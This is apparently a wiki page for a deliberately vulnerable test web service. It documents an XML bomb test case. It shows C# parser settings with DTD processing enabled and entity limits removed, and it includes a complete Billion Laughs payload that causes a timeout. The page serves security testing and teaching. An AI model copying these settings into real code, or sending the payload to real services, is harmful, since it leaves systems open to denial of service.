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Test 1) XML Bombs

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Yalçın YOLALAN edited this page Mar 28, 2018 · 2 revisions

XML Bombs Test

Vulnerability Type Dynamic

Test Web Service URI http://[yourhostName]/XMLBomb.asmx?WSDL

Vulnerable Code Block This method processes dtd/xsd and does not validate the input xml string:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.ValidationType = ValidationType.None;
settings.MaxCharactersFromEntities = 999999999999999;

XmlReader reader = XmlReader.Create(new StringReader(xml), settings);
while (reader.Read()) { }

return string.Empty;

Attack Payload

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Vulnerable Method Name loadXML

Vulnerable Parameter Name xml

Response The operation has timed out.

Indications of Vulnerability Web server returned: Http status code is 408 (i.e. The operation has timed out). Well-formed and valid XML payload causes overloading of XML parser.

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